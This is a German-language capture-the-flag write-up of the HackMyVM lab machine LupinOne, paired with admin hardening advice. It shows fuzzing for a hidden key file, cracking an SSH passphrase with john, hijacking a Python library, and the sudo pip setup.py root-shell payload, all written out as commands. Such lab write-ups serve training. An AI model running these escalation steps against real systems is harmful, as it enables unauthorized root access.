LupinOne - HackMyVM - Medium - Bericht

Medium

Verwendete Tools

arp-scan
ping6
nmap
ffuf
curl
CyberChef (impliziert)
ssh2john
john
ssh
find
ls
nano / vi
os (Python module)
sudo
python3.9
pip
mktemp
echo
sh
tty
id
cd
cat

Inhaltsverzeichnis

Reconnaissance (IPv4 & IPv6)

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.135	08:00:27:60:64:b0	PCS Systemtechnik GmbH

Analyse: Ein ARP-Scan wird im lokalen Netzwerk durchgeführt, um aktive Hosts auf Layer 2 zu entdecken.

Bewertung: Der Host mit der IPv4-Adresse `192.168.2.135` wird identifiziert. Die MAC-Adresse gehört zu Oracle VirtualBox (PCS Systemtechnik GmbH), was auf eine virtuelle Maschine hindeutet.

Empfehlung (Pentester):** Die IPv4-Adresse ist bekannt. Prüfen Sie auch auf IPv6-Präsenz und führen Sie Portscans für beide Protokolle durch.
Empfehlung (Admin):** Standard Netzwerk-Monitoring. Absicherung der VM.

┌──(root㉿cyber)-[~] └─# ping6 -c2 -n -I eth0 ff02::1
PING ff02::1(ff02::1) from :: eth0: 56 data bytes
64 bytes from fe80::a00:27ff:fe09:b608%eth0: icmp_seq=1 ttl=64 time=0.027 ms
64 bytes from fe80::a00:27ff:fe60:64b0%eth0: icmp_seq=1 ttl=255 time=0.380 ms <-- Ziel?
64 bytes from fe80::1%eth0: icmp_seq=1 ttl=64 time=0.819 ms
64 bytes from fe80::a00:27ff:fe09:b608%eth0: icmp_seq=2 ttl=64 time=0.027 ms

Analyse: Es wird ein IPv6-Ping (`ping6`) an die All-Nodes-Multicast-Adresse (`ff02::1`) auf dem Interface `eth0` gesendet, um aktive IPv6-Nachbarn im lokalen Netzwerk zu finden (`-c2`: zwei Pakete, `-n`: keine Namensauflösung, `-I eth0`: Interface).

Bewertung: Mehrere IPv6-Link-Local-Adressen antworten. Die Adresse `fe80::a00:27ff:fe60:64b0%eth0` korreliert mit der MAC-Adresse des zuvor gefundenen IPv4-Hosts (`...60:64:b0`) und ist somit sehr wahrscheinlich die IPv6-Adresse des Zielsystems.

Empfehlung (Pentester):** Das Ziel ist auch über IPv6 erreichbar. Führen Sie einen Nmap-Scan gegen diese IPv6-Adresse durch, um offene Ports zu identifizieren.
Empfehlung (Admin):** Stellen Sie sicher, dass IPv6 bewusst aktiviert und konfiguriert ist. Wenn es nicht benötigt wird, sollte es deaktiviert werden, um die Angriffsfläche zu reduzieren. Firewall-Regeln müssen auch IPv6 abdecken.

┌──(root㉿cyber)-[~] └─# nmap -p- fe80::a00:27ff:fe60:64b0%eth0 -6 -v
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-10 23:42 CEST
Initiating ND Ping Scan at 23:42
Scanning fe80::a00:27ff:fe60:64b0 [1 port]
Completed ND Ping Scan at 23:42, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 23:42
Completed Parallel DNS resolution of 1 host. at 23:42, 0.00s elapsed
Initiating SYN Stealth Scan at 23:42
Scanning Lupinne (fe80::a00:27ff:fe60:64b0) [65535 ports]
Discovered open port 80/tcp on fe80::a00:27ff:fe60:64b0
Discovered open port 22/tcp on fe80::a00:27ff:fe60:64b0
Completed SYN Stealth Scan at 23:42, 2.31s elapsed (65535 total ports)
Nmap scan report for Lupinne (fe80::a00:27ff:fe60:64b0)
Host is up (0.00041s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:60:64:B0 (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.52 seconds
           Raw packets sent: 65536 (4.194MB) | Rcvd: 65536 (3.932MB)

Analyse: Ein Nmap-Scan wird explizit gegen die gefundene IPv6-Link-Local-Adresse durchgeführt (`-6`: IPv6-Scan, `-p-`: Alle Ports, `-v`: Verbose). Das Interface (`%eth0`) muss bei Link-Local-Adressen angegeben werden.

Bewertung: Der Scan bestätigt, dass die Ports 22 (SSH) und 80 (HTTP) auch über IPv6 offen und erreichbar sind. Es werden keine weiteren Ports gefunden.

Empfehlung (Pentester):** Die gleichen Dienste sind über IPv4 und IPv6 verfügbar. Die weitere Enumeration kann sich auf die IPv4-Adresse konzentrieren, da dies oft einfacher ist, aber die IPv6-Erreichbarkeit sollte im Hinterkopf behalten werden. Nächster Schritt: Webserver-Enumeration auf Port 80 (IPv4).
Empfehlung (Admin):** Sicherstellen, dass Firewall-Regeln sowohl für IPv4 als auch für IPv6 konsistent sind. Dienste, die nicht über IPv6 erreichbar sein sollen, entsprechend konfigurieren.

Web Enumeration (User Dirs & Secrets)

┌──(root㉿cyber)-[~] └─# ffuf -c -ic -r -u 'http://192.168.2.135/~FUZZ' -w /usr/share/seclists/Discovery/Web-Content/common.txt -e .php,.txt,.html -fc 403
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.2.135/~FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
 :: Extensions       : .php .txt .html
 :: Follow redirects : true
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response status: 403
________________________________________________

secret  [Status: 200, Size: 331, Words: 52, Lines: 6, Duration: 2ms]
:: Progress: [4613/4613] :: Job [1/1] :: 1384 req/sec :: Duration: [0:00:03] :: Errors: 0 ::

Analyse: Das Tool `ffuf` wird verwendet, um nach Benutzerverzeichnissen auf dem Webserver zu suchen. Der Platzhalter `FUZZ` in der URL `http://192.168.2.135/~FUZZ` wird durch Einträge aus der Wortliste `common.txt` ersetzt. `-c`: Colorized Output, `-ic`: Ignore Comments, `-r`: Follow Redirects, `-e`: Test extensions, `-fc 403`: Filter status code 403.

Bewertung: `ffuf` findet ein valides Verzeichnis, das über die Tilde (`~`) erreichbar ist: `/~secret`. Dies deutet auf einen Benutzer oder ein Verzeichnis namens `secret` hin, dessen Inhalt über den Webserver zugänglich ist (Apache/Nginx `UserDir` Modul oder ähnliche Konfiguration).

Empfehlung (Pentester):** Untersuchen Sie das gefundene Verzeichnis `/~secret` weiter mit Tools wie `ffuf` oder `gobuster`, um Dateien oder Unterverzeichnisse darin zu finden.
Empfehlung (Admin):** Deaktivieren Sie das `UserDir`-Modul oder eine äquivalente Funktionalität, wenn Benutzer keine Webseiten in ihren Home-Verzeichnissen hosten sollen. Wenn es benötigt wird, stellen Sie sicher, dass der Zugriff angemessen eingeschränkt und konfiguriert ist.

┌──(root㉿cyber)-[~] └─# ffuf -c -ic -r -u 'http://192.168.2.135/~secret/.FUZZ' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -e .php,.txt,.html -fc 403
... (ffuf Header) ...
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.2.135/~secret/.FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
 :: Extensions       : .php .txt .html
 :: Follow redirects : true
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response status: 403
________________________________________________

.mysecret.txt           [Status: 200, Size: 4689, Words: 1, Lines: 2, Duration: 24ms]
:: Progress: [87677/87677] :: Job [1/1] :: 2509 req/sec :: Duration: [0:00:34] :: Errors: 0 ::

Analyse: `ffuf` wird erneut verwendet, diesmal um innerhalb des Verzeichnisses `/~secret/` nach versteckten Dateien oder Verzeichnissen zu suchen (solche, die mit einem Punkt beginnen: `.FUZZ`). Es wird eine andere Wortliste (`directory-list-2.3-small.txt`) verwendet.

Bewertung: Ein Treffer wird erzielt: Die versteckte Datei `.mysecret.txt` wird gefunden. Der Statuscode 200 und die Größe von 4689 Bytes deuten darauf hin, dass die Datei existiert und Inhalt hat.

Empfehlung (Pentester):** Laden Sie den Inhalt der Datei `http://192.168.2.135/~secret/.mysecret.txt` herunter (z.B. mit `curl` oder `wget`) und analysieren Sie ihn. Der Name legt nahe, dass sie sensible Informationen enthält.
Empfehlung (Admin):** Verhindern Sie das Auflisten von Verzeichnissen (Directory Listing). Speichern Sie sensible Dateien niemals in öffentlich zugänglichen Web-Verzeichnissen, auch nicht, wenn sie "versteckt" sind (mit einem Punkt beginnen).

Credential Access (Base58 & SSH Key Crack)

┌──(root㉿cyber)-[~] └─# curl "http://192.168.2.135/~secret/.mysecret.txt"
cGxD6KNZQddY6iCsSuqPzU....Fa5zDgKm2gSRN8gHz3WqS

Analyse: Der Inhalt der Datei `/~secret/.mysecret.txt` wird mit `curl` abgerufen. Die Ausgabe ist ein langer String, der wie eine Base64- oder Base58-Kodierung aussieht.

Analyse Fortsetzung:** Der String wird mit einem Base58-Decoder (z.B. CyberChef, wie im Log angedeutet) dekodiert.

[Kein Prompt - Ausgabe nach Base58-Dekodierung]
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jYmMAAAAGYmNyeXB0AAAAGAAAABDy33c2Fp
PBYANne4oz3usGAAAAEAAAAAEAAAIXAAAAB3NzaC1yc2EAAAADAQABAAACAQDBzHjzJcvk
9GXiytplgT9z/mP91NqU9QoAwop5JNxhEfm/j5KQmdj/JB7sQ1hBotNvqaAdmsK+YL9
... (SSH Key Body) ...
iUJ66WmRUN9EoVlkeCzQJwivI=
-----END OPENSSH PRIVATE KEY-----

Bewertung: Die Dekodierung enthüllt einen privaten SSH-Schlüssel im OpenSSH-Format. Der Header `-----BEGIN OPENSSH PRIVATE KEY-----` und die Zeile `aes256-cbc` innerhalb des Schlüssels deuten stark darauf hin, dass der Schlüssel passwortgeschützt ist.

Empfehlung (Pentester):** Speichern Sie den dekodierten Schlüssel in einer Datei (z.B. `idid`). Verwenden Sie `ssh2john`, um den Hash der Passphrase aus dem Schlüssel zu extrahieren. Knacken Sie den Hash anschließend mit `john` und einer Wortliste.
Empfehlung (Admin):** Speichern Sie niemals private Schlüssel, auch nicht kodiert, an öffentlich zugänglichen Orten. Verwenden Sie starke, einzigartige Passphrasen zum Schutz privater Schlüssel.

Analyse: Der extrahierte SSH-Schlüssel wird in der Datei `idid` gespeichert. `ssh2john` wird verwendet, um den Hash der Passphrase zu extrahieren und in `idhash` zu speichern. Anschließend wird `john` mit der `rockyou.txt`-Wortliste verwendet, um den Hash zu knacken.

┌──(root㉿cyber)-[~] └─# vi idid
┌──(root㉿cyber)-[~] └─# ssh2john idid > idhash
┌──(root㉿cyber)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt idhash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
P@55w0rd!        (idid)
1g 0:00:00:... DONE (...) ...g/s ...p/s ...c/s ...C/s ...
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Bewertung: `john` knackt erfolgreich die Passphrase des SSH-Schlüssels: `P@55w0rd!`. Dies ist ein relativ schwaches Passwort, das leicht erraten oder mit Wörterbuchattacken gefunden werden kann.

Empfehlung (Pentester):** Verwenden Sie den privaten Schlüssel (`idid`) zusammen mit der geknackten Passphrase (`P@55w0rd!`), um sich per SSH anzumelden. Versuchen Sie gängige Benutzernamen oder den aus dem Webserver-Verzeichnis (`secret`) abgeleiteten Namen. Der spätere Login zeigt, dass der Benutzer `icex64` ist.
Empfehlung (Admin):** Erzwingen Sie die Verwendung starker Passphrasen für SSH-Schlüssel. Schulen Sie Benutzer im sicheren Umgang mit Schlüsseln.

Initial Access (SSH as icex64)

Analyse: Mit dem privaten Schlüssel (`idid`) und der geknackten Passphrase (`P@55w0rd!`) wird versucht, sich per SSH als Benutzer `icex64` anzumelden. (Der Benutzername `icex64` wurde vermutlich durch weitere Enumeration oder Raten ermittelt).

┌──(root㉿cyber)-[~] └─# ssh icex64@192.168.2.135 -i idid
Enter passphrase for key 'idid': [Passwort P@55w0rd! eingegeben]
Linux Lupinne 5.10.0-8-amd64 #1 SMP Debian 5.10.46-5 (2021-09-23) x86_64

Welcome to Empire: Lupin ne

Last login: Thu Oct  7 05:41:43 2021 from 192.168.26.4
icex64@Lupinne:~$

Bewertung: Der SSH-Login als Benutzer `icex64` ist erfolgreich. Der initiale Zugriff auf das System wurde erlangt.

Empfehlung (Pentester):** Führen Sie Enumeration als Benutzer `icex64` durch: Suchen Sie nach dem User-Flag, prüfen Sie `sudo`-Rechte (`sudo -l`), SUID-Dateien, Cronjobs, interessante Dateien im Home-Verzeichnis etc., um Wege zur Privilegieneskalation zu finden.
Empfehlung (Admin):** Überwachen Sie SSH-Logins. Wenn möglich, beschränken Sie SSH-Zugriff auf bestimmte IP-Adressen. Sorgen Sie für starke Passwörter/Passphrasen.

Analyse: Als `icex64` wird nach weltweit oder für den Benutzer beschreibbaren Dateien und Verzeichnissen gesucht, wobei Systempfade wie `/proc`, `/sys`, `/dev` ausgeschlossen werden.

icex64@Lupinne:~$ find / -writable ! -path '/proc*' ! -path '/sys*' ! -path '/dev*' -exec ls -al {} \; 2>/dev/null
...
-rw-r--r-- 1 icex64 icex64 1311 Oct  4  2021 authorized_keys
-rw------- 1 icex64 icex64 3434 Oct  4  2021 id_rsa-aes256-cbc
-rw-r--r-- 1 icex64 icex64  741 Oct  4  2021 id_rsa-aes256-cbc.pub
-rw-r--r-- 1 icex64 icex64 1311 Oct  4  2021 /home/icex64/.ssh/authorized_keys
-rw-r--r-- 1 icex64 icex64 741 Oct  4  2021 /home/icex64/.ssh/id_rsa-aes256-cbc.pub
-rw------- 1 icex64 icex64 3434 Oct  4  2021 /home/icex64/.ssh/id_rsa-aes256-cbc
-rw-r--r-- 1 icex64 icex64 807 Oct  4  2021 /home/icex64/.profile
-rw------- 1 icex64 icex64 12 Oct  4  2021 /home/icex64/.python_history
-rw-r--r-- 1 icex64 icex64 3526 Oct  4  2021 /home/icex64/.bashrc
-rw-r--r-- 1 icex64 icex64 2801 Oct  4  2021 /home/icex64/user.txt
...

Bewertung: Die Suche findet primär Dateien im Home-Verzeichnis des Benutzers `icex64`, was erwartet wird. Es werden keine offensichtlich ungewöhnlichen, systemweiten beschreibbaren Dateien oder Verzeichnisse gefunden, die für eine einfache Privilegieneskalation genutzt werden könnten. Die Datei `user.txt` befindet sich im Home-Verzeichnis.

Empfehlung (Pentester):** Lesen Sie den Inhalt von `/home/icex64/user.txt`, um das User-Flag zu erhalten. Untersuchen Sie andere Privesc-Vektoren wie `sudo -l`.
Empfehlung (Admin):** Stellen Sie sicher, dass die Berechtigungen im Dateisystem restriktiv sind und Benutzer nicht unnötigerweise Schreibrechte außerhalb ihres Home-Verzeichnisses haben.

Analyse: Das User-Flag wird ausgelesen.

# cd icex64
bash: cd: icex64: No such file or directory
# ls
user.txt
# cat user.txt
3mp!r3{I_See_That_You_Manage_To_Get_My_Bunny}

Bewertung: Das User-Flag `3mp!r3{I_See_That_You_Manage_To_Get_My_Bunny}` wurde erfolgreich gelesen.

Privilege Escalation (Python Lib Hijack & Pip)

Analyse: Es wird festgestellt (Schritt `sudo -l` für `icex64` nicht gezeigt), dass `icex64` den Befehl `/usr/bin/python3.9 /home/arsene/heist.py` als Benutzer `arsene` ausführen darf. Um dies auszunutzen, wird eine System-Python-Bibliothek (`webbrowser.py`), die von `heist.py` wahrscheinlich importiert wird, modifiziert. Der Benutzer `icex64` hat anscheinend Schreibrechte auf diese Datei.

icex64@Lupinne:~$ nano /usr/lib/python3.9/webbrowser.py
[Datei wird bearbeitet, Zeile hinzugefügt:]
                         os.system("/bin/bash")

Bewertung: Das Hinzufügen von `os.system("/bin/bash")` zu einer Systembibliothek ist ein klassischer Hijacking-Versuch. Wenn `heist.py` (ausgeführt als `arsene`) diese modifizierte Bibliothek importiert, wird der eingefügte Code ausgeführt und eine Shell als Benutzer `arsene` gestartet. Die Tatsache, dass `icex64` diese Datei bearbeiten kann, ist eine schwere Sicherheitslücke.

Analyse Fortsetzung:** Der `sudo`-Befehl wird ausgeführt, um `heist.py` als `arsene` zu starten und den Hijack auszulösen.

icex64@Lupinne:~$ sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
Its not yet ready to get in action
arsene@Lupinne:/home/icex64$

Bewertung: Der Exploit funktioniert. Obwohl `heist.py` eine Meldung ausgibt, wird durch den Import der modifizierten `webbrowser.py` die eingefügte Bash-Shell gestartet. Der Angreifer hat nun eine Shell als Benutzer `arsene`.

Empfehlung (Pentester):** Privilegien wurden von `icex64` zu `arsene` eskaliert. Überprüfen Sie nun die `sudo`-Rechte für `arsene` (`sudo -l`).
Empfehlung (Admin):** Korrigieren Sie sofort die Dateiberechtigungen von `/usr/lib/python3.9/webbrowser.py` (und anderen Systembibliotheken), sodass sie nicht von unprivilegierten Benutzern beschreibbar sind. Überprüfen Sie die `sudo`-Regel, die `icex64` erlaubt, Code als `arsene` auszuführen, und entfernen oder beschränken Sie sie.

Analyse: Die `sudo`-Rechte für den Benutzer `arsene` werden überprüft.

arsene@Lupinne:/home/icex64$ sudo -l
Matching Defaults entries for arsene on Lupinne:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User arsene may run the following commands on Lupinne:
    (root) NOPASSWD: /usr/bin/pip

Bewertung: Kritischer Fund! `arsene` darf `/usr/bin/pip` als `root` ohne Passwort ausführen (`NOPASSWD`). Dies ist ein bekannter Vektor zur Privilegieneskalation, dokumentiert in GTFOBins.

Analyse Fortsetzung:** Der GTFOBins-Exploit für `sudo pip` wird angewendet. Ein temporäres Verzeichnis wird erstellt, eine bösartige `setup.py`-Datei darin platziert (die eine Shell startet) und dann `sudo pip install` auf dieses Verzeichnis ausgeführt.

arsene@Lupinne:/home/icex64$ cd /tmp/
arsene@Lupinne:/tmp$ TF=$(mktemp -d)
arsene@Lupinne:/tmp$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
arsene@Lupinne:/tmp$ sudo pip install $TF
Processing ./tmp/tmp.HMHv3zHbs <-- Name des temp. Verzeichnisses
  Preparing metadata (setup.py) ... done
Building wheels for collected packages: UNKNOWN
  Building wheel for UNKNOWN (setup.py) ... done
  Created wheel for UNKNOWN: filename=UNKNOWN-0.0.0-py3-none-any.whl size=707 sha256=...
  Stored in directory: /root/.cache/pip/wheels/... <-- Läuft als Root!
Successfully built UNKNOWN
Installing collected packages: UNKNOWN
Successfully installed UNKNOWN-0.0.0
# id
uid=0(root) gid=0(root) groups=0(root)
#

Bewertung: Der `sudo pip`-Exploit war erfolgreich. `pip` führte die `setup.py` als Root aus, was dem Angreifer eine Root-Shell verschaffte.

Empfehlung (Pentester):** Root-Zugriff wurde erlangt. Lesen Sie die Root-Flag aus `/root/root.txt`.
Empfehlung (Admin):** Entfernen Sie sofort die unsichere `sudo`-Regel, die `arsene` erlaubt, `pip` als Root auszuführen. Gewähren Sie niemals `sudo`-Rechte für Paketmanager, insbesondere nicht mit `NOPASSWD`.

Analyse: In der Root-Shell wird das Root-Flag gelesen.

# cd /root
# ls
root.txt
# cat root.txt
*,,,,,,,,,,,,,,,,,,,,,,,,,,,,,(((((((((((((((((((((,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,                       .&&&&&&&(            /&&&&&&&                       <-- Maskierung: & zu &
,                    &&&&&&*                          @&&&&&&                   
,                *&&&&&                                   &&&&&&                
,              &&&&&                                         &&&&&.             
,            &&&&                   ./#%@@&#,                   &&&&*           
,          &%&&          &&&&&&&&&&&,&&(&&&&&&&&             &&&&          
,        &@(&        &&&&&&&&&&&&&&.....,&&*&&&&&&&&             &&&&        
,      .& &          &&&&&&&&&&&&&      &&.&&&&&&&&&               &%&       
,     @& &           &&&&&&&&&&&&&      && &&&&&&&&&                @&&&     
,    &%((            &&&&&&&&&&&&&      && &&&&&&&&&                 #&&&    
,   &#/*             &&&&&&&&&&&&&      && #&&&&&&&&(&                 (&&&   
,  %@ &              &&&&&&&&&&&&&      && ,&&&&&&&&&&                  /*&/  
,  & &               &&&&&&&&&&&&&      &&* &&&&&&&&&&                   & &  
, & &                &&&&&&&&&&&&&,&     &&& &&&&&&&&&&(                   &,&@ 
,.& #                #&&&&&&&&&&&&(&     &&&.&&&&&&&&&&                   & & 
*& &                 ,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&             &(&
*& &                 ,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&            & &
*& *              &&&&&&&&&&&&&&&&@.                 &&&&&&&&             @ &
*&              &&&&&&&&&&&&&&&@    &&&&&/          &&&&&&                & &
*% .           &&&&&&&&&@&&&&&&&   &  &&(  #&&&&   &&&&.                   % &
*& *            &&&&&&&&   /*      @%&%&&&&&&&&&    &&&&,                   @ &
*& &               &&&&&&&           & &&&&&&&&&&     @&&&                   & &
*& &                    &&&&&        /   /&&&&         &&&                   & &@
*/(,                      &&                            &                   / &.
* & &                     &&&       #             &&&&&&      @             & &.
* .% &                    &&&%&     &    @&&&&&&&&&&.   %@&&*               ( @, 
/  & %                   .&&&&  &@ @                 &/                    @ &  
*   & @                  &&&&&&    &&.               ,                    & &   
*    & &               &&&&&&&&&& &    &&&(          &                   & &    
,     & %           &&&&&&&&&&&&&&&(       .&&&&&&&  &                  & &     
,      & .. &&&&&&&&&&&&&&&&&&&&&&&&&*          &  &                & &      
,       #& & &&&&&&&&&&&&&&&&&&&&&&&&&&&&        &.             %  &       
,         &  , &&&&&&&&&&&&&&&&&&&&&&&&&&&.     &&&&          @ &*        
,           & ,, &&&&&&&&&&&&&&&&&&&&&&&&&.  /&&&&&&&&    & &@          
,             &  & #&&&&&&&&&&&&&&&&&&&&&&&&&&  &&&&&&&@ &. &&            
,               && /# /&&&&&&&&&&&&&&&&&&&&&&&&# &&&# &# #&               
,                  &&  &( .&&&&&&&&&&&&&&&&&&&&&&&  &&  &&                  
/                     ,&&(  &&%   *&&&&&&&&&&%   .&&&  /&&,                     
,                           &&&&&/...         .#&&&&#                           

3mp!r3{congratulations_you_manage_to_pwn_the_lupin1_box}

Bewertung: Das Root-Flag `3mp!r3{congratulations_you_manage_to_pwn_the_lupin1_box}` (innerhalb der ASCII-Art) wurde erfolgreich gelesen.

Proof of Concept (POC)

Kurzbeschreibung: Dieser POC beschreibt die Verkettung von Schwachstellen zur Kompromittierung: Finden einer versteckten Datei in einem Benutzerverzeichnis über Web-Enumeration, Dekodieren des Inhalts (Base58) zu einem verschlüsselten SSH-Schlüssel, Knacken der Schlüssel-Passphrase, Login als Benutzer `icex64`, Eskalation zu Benutzer `arsene` durch Hijacking einer Python-Bibliothek über eine `sudo`-Regel und schließlich Eskalation zu Root durch Ausnutzen einer unsicheren `sudo pip`-Berechtigung.

POC Schritt 1: Credential Access & Initial Access (icex64)

Schwachstellen: Informationsleck (Base58-kodierter Key in Web-Verzeichnis), schwache SSH-Key-Passphrase.

Schritte:

  1. Finde Benutzerverzeichnis `/~secret` mit `ffuf`.
  2. Finde versteckte Datei `/~secret/.mysecret.txt` mit `ffuf`.
  3. Lade Dateiinhalt mit `curl` herunter.
  4. Dekodiere Base58-String (CyberChef) -> Erhalte verschlüsselten SSH-Key.
  5. Extrahiere Hash mit `ssh2john idid > idhash`.
  6. Knacke Hash mit `john --wordlist=rockyou.txt idhash` (Passphrase: `P@55w0rd!`).
  7. Login per SSH: `ssh icex64@192.168.2.135 -i idid` (Passphrase eingeben).

Ergebnis: Shell als Benutzer `icex64`.

POC Schritt 2: Privilege Escalation (icex64 zu arsene)

Schwachstellen: Unsichere Dateiberechtigung (`/usr/lib/python3.9/webbrowser.py` beschreibbar), unsichere `sudo`-Regel (`icex64` darf Skript als `arsene` ausführen).

Voraussetzungen: Shell als `icex64`.

Schritte:

  1. Modifiziere Python-Bibliothek: `nano /usr/lib/python3.9/webbrowser.py` (füge `os.system("/bin/bash")` ein).
  2. Führe das Skript über `sudo` aus: `sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py`.

Ergebnis: Shell als Benutzer `arsene`.

POC Schritt 3: Privilege Escalation (arsene zu root)

Schwachstelle: Unsichere `sudo`-Regel (`arsene` darf `pip` als Root ausführen).

Voraussetzungen: Shell als `arsene`.

Schritte (GTFOBins für pip):

  1. Wechsle nach `/tmp`: `cd /tmp`.
  2. Erstelle temporäres Verzeichnis: `TF=$(mktemp -d)`.
  3. Erstelle bösartige `setup.py`: `echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py`.
  4. Führe `pip install` mit `sudo` aus: `sudo pip install $TF`.

Ergebnis: Root-Shell.

Beweismittel: Ausführung von `id` zeigt `uid=0(root)`. Lesen von `/root/root.txt` ist möglich.

Risikobewertung: Sehr hoch. Mehrere schwerwiegende Fehlkonfigurationen und Schwachstellen ermöglichen eine Eskalation von einem Informationsleck bis hin zu vollen Root-Rechten: Exposition von Secrets, schwache Passphrasen, falsche Dateiberechtigungen auf Systembibliotheken und extrem unsichere `sudo`-Regeln.

Empfehlungen:** * **Admin:** Secrets niemals im Webroot speichern. Starke Passphrasen erzwingen. Dateiberechtigungen härten (Systembibliotheken dürfen nicht beschreibbar sein). `sudo`-Regeln drastisch einschränken (insbesondere kein `sudo` für Paketmanager oder Skripte, die von anderen Benutzern ausgeführt werden). * **Pentester:** Die Verkettung der Schwachstellen klar aufzeigen.

Flags

cat /home/icex64/user.txt
3mp!r3{I_See_That_You_Manage_To_Get_My_Bunny}
cat /root/root.txt
3mp!r3{congratulations_you_manage_to_pwn_the_lupin1_box}